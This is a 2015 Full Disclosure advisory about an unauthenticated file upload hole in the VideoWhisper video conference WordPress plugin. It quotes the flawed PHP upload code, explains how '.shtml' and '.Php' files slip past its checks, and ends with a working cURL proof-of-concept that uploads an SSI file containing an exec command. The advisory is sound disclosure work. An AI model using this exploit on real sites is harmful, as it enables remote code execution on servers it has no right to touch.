[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[FD] Remote file upload vulnerability in videowhisper-video-conference-integration wordpress plugin v4.91.8

Title: Remote file upload vulnerability in 
videowhisper-video-conference-integration wordpress plugin v4.91.8
Author: Larry W. Cashdollar, @_larry0
Date: 2015-03-29
Download Site: 
https://wordpress.org/support/plugin/videowhisper-video-conference-integration
Vendor: http://www.videowhisper.com/
Vendor Notified: 2015-03-31, won’t fix. 
http://www.videowhisper.com/tickets_view.php?t=10019545-1427810822
Vendor Contact: http://www.videowhisper.com/tickets_submit.php
Advisory: http://www.vapid.dhs.org/advisory.php?v=116
Description: From their site "VideoWhisper Video Conference is a modern web 
based multiple way video chat and real time file sharing tool.  Read more on 
WordPress Video Conference plugin home page."

Vulnerability:
./videowhisper-video-conference-integration/vc/vw_upload.php Allows various 
remote unauthenticated file uploads, among the file types is html where the 
last 4 characters are only being checked in a file name to match which types 
are allowed. Because of this .shtml can be passed through and remote code 
execution is SSI is allowed. The code does not do any user access validation 
and therefore anyone can upload the following files to an unsuspecting 
wordpress site: 

.shtml,swf,.zip,.rar,.jpg,jpeg,.png,.gif,.txt,.doc,docx,.htm,html,.pdf,.mp3,.flv,.avi,.mpg,.ppt,.pps
 The
 if (strstr($filename,'.php')) exit;
 can be by passed by using the extension .Php but the file extension check 
would allow files like test.Php.shtml

./videowhisper-video-conference-integration/vc/vw_upload.php

 <?php 
if ($_GET["room"]) $room=$_GET["room"]; 
if ($_POST["room"]) $room=$_POST["room"]; 

$filename=$_FILES['vw_file']['name’];
include_once("incsan.php"); 
sanV($room);
 if (!$room) exit; 
sanV($filename); 
if (!$filename) exit; 
if (strstr($filename,'.php')) exit; //do not allow uploads to other folders
if ( strstr($room,"/") || strstr($room,"..") ) exit; 
if ( strstr($filename,"/") || strstr($filename,"..") ) exit; 
$destination="uploads/".$room."/“; 
if ($_GET["slides"]) $destination .= "slides/“;
$ext=strtolower(substr($filename,-4)); 
$allowed=array(".swf",".zip",".rar",".jpg","jpeg",".png",".gif",".txt",".doc","docx",".htm","html",".pdf",".mp3",".flv",".avi",".mpg",".ppt",".pps”);
 if (in_array($ext,$allowed)) 
move_uploaded_file($_FILES['vw_file']['tmp_name'], $destination . $filename);
?>loadstatus=1

CVEID: TBD
OSVDB: TBD

Exploit Code:
         videowhisp_poc.php 

         <?php
          
         $uploadfile="upexp.shtml";
         $ch = 
         
curl_init("http://target_site/wp-content/plugins/videowhisper-video-conference-integration/vc/vw_upload.php";);
         curl_setopt($ch, CURLOPT_POST, true);
          curl_setopt($ch, CURLOPT_POSTFIELDS,
                   
array('vw_file'=>"@$uploadfile",'name'=>'upexp.shtml','room'=>'.'));
         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
         $postResult = curl_exec($ch);
         curl_close($ch);
         print "$postResult";
          
         ?>
          
         upexp.shtml
          
         <html>
          
         <!--#exec cmd="/usr/bin/date > /tmp/p" -->
          
         this is html
         </html>
          
          
         The executeable should be located in 
wordpress/wp-content/plugins/videowhisper-video-conference-integration/vc/uploads

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/